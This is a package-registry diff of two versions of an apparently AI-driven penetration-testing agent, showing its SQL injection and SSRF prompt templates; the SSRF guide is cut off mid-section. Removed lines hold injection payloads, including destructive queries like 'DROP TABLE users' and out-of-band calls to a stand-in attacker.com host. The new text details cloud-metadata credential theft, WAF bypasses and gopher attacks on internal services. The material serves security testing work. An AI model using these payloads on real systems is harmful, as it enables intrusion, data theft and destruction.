strix-agent 0.1.17__py3-none-any.whl → 0.1.19__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strix-agent might be problematic. Click here for more details.
- strix/agents/StrixAgent/strix_agent.py +2 -1
- strix/agents/StrixAgent/system_prompt.jinja +8 -10
- strix/agents/base_agent.py +20 -0
- strix/agents/state.py +18 -1
- strix/cli/app.py +92 -15
- strix/cli/main.py +81 -24
- strix/cli/tool_components/base_renderer.py +2 -2
- strix/cli/tool_components/reporting_renderer.py +2 -1
- strix/llm/llm.py +9 -0
- strix/prompts/README.md +64 -0
- strix/prompts/__init__.py +1 -1
- strix/prompts/cloud/.gitkeep +0 -0
- strix/prompts/custom/.gitkeep +0 -0
- strix/prompts/frameworks/fastapi.jinja +142 -0
- strix/prompts/frameworks/nextjs.jinja +126 -0
- strix/prompts/protocols/graphql.jinja +215 -0
- strix/prompts/reconnaissance/.gitkeep +0 -0
- strix/prompts/technologies/firebase_firestore.jinja +177 -0
- strix/prompts/technologies/supabase.jinja +189 -0
- strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
- strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
- strix/prompts/vulnerabilities/business_logic.jinja +146 -118
- strix/prompts/vulnerabilities/csrf.jinja +137 -131
- strix/prompts/vulnerabilities/idor.jinja +149 -118
- strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
- strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
- strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
- strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
- strix/prompts/vulnerabilities/rce.jinja +128 -180
- strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
- strix/prompts/vulnerabilities/ssrf.jinja +118 -151
- strix/prompts/vulnerabilities/xss.jinja +144 -196
- strix/prompts/vulnerabilities/xxe.jinja +151 -243
- strix/tools/agents_graph/agents_graph_actions.py +4 -3
- strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
- strix/tools/registry.py +1 -1
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/METADATA +55 -16
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/RECORD +41 -28
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/LICENSE +0 -0
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/WHEEL +0 -0
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/entry_points.txt +0 -0
|
@@ -1,215 +1,151 @@
|
|
|
1
1
|
<sql_injection_guide>
|
|
2
|
-
<title>SQL INJECTION
|
|
3
|
-
|
|
4
|
-
<critical>
|
|
5
|
-
|
|
6
|
-
<
|
|
7
|
-
-
|
|
8
|
-
-
|
|
9
|
-
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
-
|
|
21
|
-
-
|
|
22
|
-
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
-
|
|
28
|
-
-
|
|
29
|
-
-
|
|
30
|
-
-
|
|
31
|
-
</
|
|
32
|
-
|
|
33
|
-
<
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
</union_based>
|
|
41
|
-
|
|
42
|
-
<error_based>
|
|
43
|
-
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
|
|
44
|
-
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
|
|
45
|
-
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
|
46
|
-
</error_based>
|
|
47
|
-
|
|
48
|
-
<blind_boolean>
|
|
49
|
-
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
|
|
50
|
-
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
|
|
51
|
-
' AND (SELECT COUNT(*) FROM users)>5--
|
|
52
|
-
</blind_boolean>
|
|
53
|
-
|
|
54
|
-
<blind_time>
|
|
55
|
-
' AND IF(1=1,SLEEP(5),0)--
|
|
56
|
-
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
|
|
57
|
-
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
|
|
58
|
-
'; SELECT pg_sleep(5)-- (PostgreSQL)
|
|
59
|
-
</blind_time>
|
|
60
|
-
</basic_payloads>
|
|
61
|
-
|
|
62
|
-
<advanced_techniques>
|
|
63
|
-
<stacked_queries>
|
|
64
|
-
'; DROP TABLE users--
|
|
65
|
-
'; INSERT INTO admins VALUES ('hacker','password')--
|
|
66
|
-
'; UPDATE users SET password='hacked' WHERE username='admin'--
|
|
67
|
-
</stacked_queries>
|
|
68
|
-
|
|
69
|
-
<out_of_band>
|
|
70
|
-
MySQL:
|
|
71
|
-
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
|
|
72
|
-
' UNION SELECT LOAD_FILE('/etc/passwd')--
|
|
73
|
-
|
|
74
|
-
MSSQL:
|
|
75
|
-
'; EXEC xp_dirtree '\\attacker.com\share'--
|
|
76
|
-
'; EXEC xp_cmdshell 'nslookup attacker.com'--
|
|
77
|
-
|
|
78
|
-
PostgreSQL:
|
|
79
|
-
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
|
|
80
|
-
</out_of_band>
|
|
81
|
-
|
|
82
|
-
<file_operations>
|
|
83
|
-
MySQL:
|
|
84
|
-
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
|
|
85
|
-
|
|
86
|
-
MSSQL:
|
|
87
|
-
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
|
|
88
|
-
|
|
89
|
-
PostgreSQL:
|
|
90
|
-
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
|
|
91
|
-
</file_operations>
|
|
92
|
-
</advanced_techniques>
|
|
93
|
-
|
|
94
|
-
<filter_bypasses>
|
|
95
|
-
<space_bypass>
|
|
96
|
-
- Comments: /**/
|
|
97
|
-
- Parentheses: UNION(SELECT)
|
|
98
|
-
- Backticks: UNION`SELECT`
|
|
99
|
-
- Newlines: %0A, %0D
|
|
100
|
-
- Tabs: %09
|
|
101
|
-
</space_bypass>
|
|
102
|
-
|
|
103
|
-
<keyword_bypass>
|
|
104
|
-
- Case variation: UnIoN SeLeCt
|
|
105
|
-
- Comments: UN/**/ION SE/**/LECT
|
|
106
|
-
- Encoding: %55nion %53elect
|
|
107
|
-
- Double words: UNUNIONION SESELECTLECT
|
|
108
|
-
</keyword_bypass>
|
|
109
|
-
|
|
110
|
-
<waf_bypasses>
|
|
111
|
-
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
|
|
112
|
-
- JSON/XML format switching
|
|
113
|
-
- Chunked encoding
|
|
114
|
-
- Unicode normalization
|
|
115
|
-
- Scientific notation: 1e0 UNION SELECT
|
|
116
|
-
</waf_bypasses>
|
|
117
|
-
</filter_bypasses>
|
|
118
|
-
|
|
119
|
-
<specific_databases>
|
|
2
|
+
<title>SQL INJECTION</title>
|
|
3
|
+
|
|
4
|
+
<critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
|
8
|
+
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
|
9
|
+
- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
|
|
10
|
+
</scope>
|
|
11
|
+
|
|
12
|
+
<methodology>
|
|
13
|
+
1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
|
|
14
|
+
2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
|
|
15
|
+
3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
|
|
16
|
+
4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
|
|
17
|
+
</methodology>
|
|
18
|
+
|
|
19
|
+
<injection_surfaces>
|
|
20
|
+
- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
|
|
21
|
+
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
|
22
|
+
- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
|
|
23
|
+
- Batch/bulk endpoints and report generators that embed filters directly
|
|
24
|
+
</injection_surfaces>
|
|
25
|
+
|
|
26
|
+
<detection_channels>
|
|
27
|
+
- Error-based: provoke type/constraint/parser errors revealing stack/version/paths
|
|
28
|
+
- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
|
|
29
|
+
- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
|
|
30
|
+
- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
|
|
31
|
+
</detection_channels>
|
|
32
|
+
|
|
33
|
+
<union_visibility>
|
|
34
|
+
- Determine column count and types via ORDER BY n and UNION SELECT null,...
|
|
35
|
+
- Align types with CAST/CONVERT; coerce to text/json for rendering
|
|
36
|
+
- When UNION is filtered, consider error-based or blind channels
|
|
37
|
+
</union_visibility>
|
|
38
|
+
|
|
39
|
+
<dbms_primitives>
|
|
120
40
|
<mysql>
|
|
121
|
-
- Version: @@version
|
|
122
|
-
-
|
|
123
|
-
-
|
|
124
|
-
-
|
|
125
|
-
-
|
|
41
|
+
- Version/user/db: @@version, database(), user(), current_user()
|
|
42
|
+
- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
|
|
43
|
+
- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
|
|
44
|
+
- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
|
|
45
|
+
- Time: SLEEP(n), BENCHMARK
|
|
46
|
+
- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
|
|
126
47
|
</mysql>
|
|
127
48
|
|
|
128
|
-
<mssql>
|
|
129
|
-
- Version: @@version
|
|
130
|
-
- Database: db_name()
|
|
131
|
-
- User: user_name(), system_user
|
|
132
|
-
- Tables: sysobjects WHERE xtype='U'
|
|
133
|
-
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
|
|
134
|
-
</mssql>
|
|
135
|
-
|
|
136
49
|
<postgresql>
|
|
137
|
-
- Version: version()
|
|
138
|
-
-
|
|
139
|
-
-
|
|
140
|
-
-
|
|
141
|
-
-
|
|
50
|
+
- Version/user/db: version(), current_user, current_database()
|
|
51
|
+
- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
|
|
52
|
+
- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
|
|
53
|
+
- Time: pg_sleep(n)
|
|
54
|
+
- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
|
|
55
|
+
- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
|
|
142
56
|
</postgresql>
|
|
143
57
|
|
|
58
|
+
<mssql>
|
|
59
|
+
- Version/db/user: @@version, db_name(), system_user, user_name()
|
|
60
|
+
- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
|
|
61
|
+
- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
|
|
62
|
+
- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
|
|
63
|
+
- Error-based: convert/parse, divide by zero, FOR XML PATH leaks
|
|
64
|
+
</mssql>
|
|
65
|
+
|
|
144
66
|
<oracle>
|
|
145
|
-
- Version:
|
|
146
|
-
-
|
|
147
|
-
-
|
|
148
|
-
-
|
|
67
|
+
- Version/db/user: banner from v$version, ora_database_name, user
|
|
68
|
+
- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
|
|
69
|
+
- Time: dbms_lock.sleep(n)
|
|
70
|
+
- Error-based: to_number/to_date conversions, XMLType
|
|
71
|
+
- File: UTL_FILE with directory objects (privileged)
|
|
149
72
|
</oracle>
|
|
150
|
-
</
|
|
151
|
-
|
|
152
|
-
<
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
-
|
|
172
|
-
|
|
73
|
+
</dbms_primitives>
|
|
74
|
+
|
|
75
|
+
<blind_extraction>
|
|
76
|
+
- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
|
|
77
|
+
- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
|
|
78
|
+
- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
|
|
79
|
+
</blind_extraction>
|
|
80
|
+
|
|
81
|
+
<out_of_band>
|
|
82
|
+
- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
|
|
83
|
+
- MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
|
|
84
|
+
</out_of_band>
|
|
85
|
+
|
|
86
|
+
<write_primitives>
|
|
87
|
+
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
|
88
|
+
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
|
89
|
+
- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
|
|
90
|
+
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
|
91
|
+
</write_primitives>
|
|
92
|
+
|
|
93
|
+
<waf_and_parser_bypasses>
|
|
94
|
+
- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
|
|
95
|
+
- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
|
|
96
|
+
- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
|
|
97
|
+
- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
|
|
98
|
+
- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
|
|
99
|
+
</waf_and_parser_bypasses>
|
|
100
|
+
|
|
101
|
+
<orm_and_query_builders>
|
|
102
|
+
- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
|
|
103
|
+
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
|
104
|
+
- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
|
|
105
|
+
- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
|
|
106
|
+
</orm_and_query_builders>
|
|
107
|
+
|
|
108
|
+
<uncommon_contexts>
|
|
109
|
+
- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
|
|
110
|
+
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
|
111
|
+
- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
|
|
112
|
+
- XML/JSON functions: error generation via malformed documents/paths
|
|
113
|
+
</uncommon_contexts>
|
|
173
114
|
|
|
174
115
|
<validation>
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
5. Document consistent exploitation
|
|
116
|
+
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
|
|
117
|
+
2. Extract verifiable metadata (version, current user, database name) using the established channel.
|
|
118
|
+
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
|
|
119
|
+
4. Provide reproducible requests that differ only in the injected fragment.
|
|
120
|
+
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
|
|
181
121
|
</validation>
|
|
182
122
|
|
|
183
123
|
<false_positives>
|
|
184
|
-
|
|
185
|
-
-
|
|
186
|
-
-
|
|
187
|
-
-
|
|
188
|
-
- Parameterized queries properly used
|
|
189
|
-
- Input validation effective
|
|
124
|
+
- Generic errors unrelated to SQL parsing or constraints
|
|
125
|
+
- Static response sizes due to templating rather than predicate truth
|
|
126
|
+
- Artificial delays from network/CPU unrelated to injected function calls
|
|
127
|
+
- Parameterized queries with no string concatenation, verified by code review
|
|
190
128
|
</false_positives>
|
|
191
129
|
|
|
192
130
|
<impact>
|
|
193
|
-
-
|
|
194
|
-
- Authentication bypass
|
|
195
|
-
-
|
|
196
|
-
-
|
|
197
|
-
- File system access
|
|
198
|
-
- Complete database takeover
|
|
131
|
+
- Direct data exfiltration and privacy/regulatory exposure
|
|
132
|
+
- Authentication and authorization bypass via manipulated predicates
|
|
133
|
+
- Server-side file access or command execution (platform/privilege dependent)
|
|
134
|
+
- Persistent supply-chain impact via modified data, jobs, or procedures
|
|
199
135
|
</impact>
|
|
200
136
|
|
|
201
137
|
<pro_tips>
|
|
202
|
-
1.
|
|
203
|
-
2.
|
|
204
|
-
3.
|
|
205
|
-
4.
|
|
206
|
-
5.
|
|
207
|
-
6.
|
|
208
|
-
7.
|
|
209
|
-
8.
|
|
210
|
-
9.
|
|
211
|
-
10.
|
|
138
|
+
1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
|
|
139
|
+
2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
|
|
140
|
+
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
|
|
141
|
+
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
|
|
142
|
+
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
|
|
143
|
+
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
|
|
144
|
+
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
|
|
145
|
+
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
|
|
146
|
+
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
|
|
147
|
+
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
|
|
212
148
|
</pro_tips>
|
|
213
149
|
|
|
214
|
-
<remember>Modern SQLi
|
|
150
|
+
<remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
|
|
215
151
|
</sql_injection_guide>
|
|
@@ -1,168 +1,135 @@
|
|
|
1
1
|
<ssrf_vulnerability_guide>
|
|
2
|
-
<title>SERVER-SIDE REQUEST FORGERY (SSRF)
|
|
3
|
-
|
|
4
|
-
<critical>SSRF
|
|
5
|
-
|
|
6
|
-
<
|
|
7
|
-
-
|
|
8
|
-
-
|
|
9
|
-
-
|
|
10
|
-
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
-
|
|
15
|
-
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
-
|
|
22
|
-
-
|
|
23
|
-
-
|
|
24
|
-
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
</hidden_contexts>
|
|
29
|
-
|
|
30
|
-
<cloud_metadata>
|
|
2
|
+
<title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
|
|
3
|
+
|
|
4
|
+
<critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
|
8
|
+
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
|
9
|
+
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
|
10
|
+
- Cloud and platform metadata endpoints, instance services, and control planes
|
|
11
|
+
</scope>
|
|
12
|
+
|
|
13
|
+
<methodology>
|
|
14
|
+
1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
|
|
15
|
+
2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
|
|
16
|
+
3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
|
|
17
|
+
4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
|
|
18
|
+
</methodology>
|
|
19
|
+
|
|
20
|
+
<injection_surfaces>
|
|
21
|
+
- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
|
|
22
|
+
- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
|
|
23
|
+
- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
|
|
24
|
+
- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
|
|
25
|
+
</injection_surfaces>
|
|
26
|
+
|
|
27
|
+
<cloud_and_platforms>
|
|
31
28
|
<aws>
|
|
32
|
-
|
|
33
|
-
IMDSv2:
|
|
34
|
-
|
|
29
|
+
- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
|
|
30
|
+
- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
|
|
31
|
+
- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
|
|
35
32
|
</aws>
|
|
36
33
|
|
|
37
|
-
<
|
|
38
|
-
http://metadata.google.internal/computeMetadata/v1/
|
|
39
|
-
|
|
40
|
-
Target: /instance/service-accounts/default/token
|
|
41
|
-
</
|
|
34
|
+
<gcp>
|
|
35
|
+
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
|
|
36
|
+
- Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
|
|
37
|
+
- Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
|
|
38
|
+
</gcp>
|
|
42
39
|
|
|
43
40
|
<azure>
|
|
44
|
-
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
45
|
-
|
|
46
|
-
OAuth: /metadata/identity/oauth2/token
|
|
41
|
+
- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
42
|
+
- Required header: {% raw %}Metadata: true{% endraw %}
|
|
43
|
+
- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
|
|
47
44
|
</azure>
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
</
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
-
|
|
58
|
-
-
|
|
59
|
-
-
|
|
60
|
-
-
|
|
61
|
-
|
|
62
|
-
</
|
|
45
|
+
|
|
46
|
+
<kubernetes>
|
|
47
|
+
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
|
|
48
|
+
- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
|
|
49
|
+
- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
|
|
50
|
+
</kubernetes>
|
|
51
|
+
</cloud_and_platforms>
|
|
52
|
+
|
|
53
|
+
<internal_targets>
|
|
54
|
+
- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
|
|
55
|
+
- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
|
|
56
|
+
- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
|
|
57
|
+
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
|
58
|
+
- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
|
|
59
|
+
</internal_targets>
|
|
63
60
|
|
|
64
61
|
<protocol_exploitation>
|
|
65
62
|
<gopher>
|
|
66
|
-
Redis
|
|
63
|
+
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
|
67
64
|
</gopher>
|
|
68
65
|
|
|
69
|
-
<
|
|
70
|
-
file:///etc/passwd, file:///proc/self/environ
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
-
|
|
88
|
-
</
|
|
89
|
-
|
|
90
|
-
<
|
|
91
|
-
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
</
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
</
|
|
118
|
-
|
|
119
|
-
<
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
</protocols>
|
|
126
|
-
</filter_bypasses>
|
|
127
|
-
|
|
128
|
-
<validation_techniques>
|
|
129
|
-
To confirm SSRF:
|
|
130
|
-
1. External callbacks (DNS/HTTP)
|
|
131
|
-
2. Internal network access (different responses)
|
|
132
|
-
3. Time-based detection (timeouts)
|
|
133
|
-
4. Cloud metadata retrieval
|
|
134
|
-
5. Protocol differentiation
|
|
135
|
-
</validation_techniques>
|
|
136
|
-
|
|
137
|
-
<false_positive_indicators>
|
|
138
|
-
NOT SSRF if:
|
|
139
|
-
- Only client-side redirects
|
|
140
|
-
- Whitelist properly blocking
|
|
141
|
-
- Generic errors for all URLs
|
|
142
|
-
- No outbound requests made
|
|
143
|
-
- Same-origin policy enforced
|
|
144
|
-
</false_positive_indicators>
|
|
145
|
-
|
|
146
|
-
<impact_demonstration>
|
|
147
|
-
- Cloud credential theft (AWS/GCP/Azure)
|
|
148
|
-
- Internal admin panel access
|
|
149
|
-
- Port scanning results
|
|
150
|
-
- SSRF to RCE chain
|
|
151
|
-
- Data exfiltration
|
|
152
|
-
</impact_demonstration>
|
|
66
|
+
<file_and_wrappers>
|
|
67
|
+
- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
|
|
68
|
+
- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
|
|
69
|
+
</file_and_wrappers>
|
|
70
|
+
|
|
71
|
+
<parser_and_filter_bypasses>
|
|
72
|
+
<address_variants>
|
|
73
|
+
- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
|
|
74
|
+
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
|
|
75
|
+
</address_variants>
|
|
76
|
+
|
|
77
|
+
<url_confusion>
|
|
78
|
+
- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
|
|
79
|
+
- Scheme-less/relative forms the server might complete internally: //169.254.169.254/
|
|
80
|
+
- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
|
|
81
|
+
</url_confusion>
|
|
82
|
+
|
|
83
|
+
<redirect_behavior>
|
|
84
|
+
- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
|
85
|
+
</redirect_behavior>
|
|
86
|
+
|
|
87
|
+
<header_and_method_control>
|
|
88
|
+
- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
|
89
|
+
</header_and_method_control>
|
|
90
|
+
|
|
91
|
+
<blind_and_mapping>
|
|
92
|
+
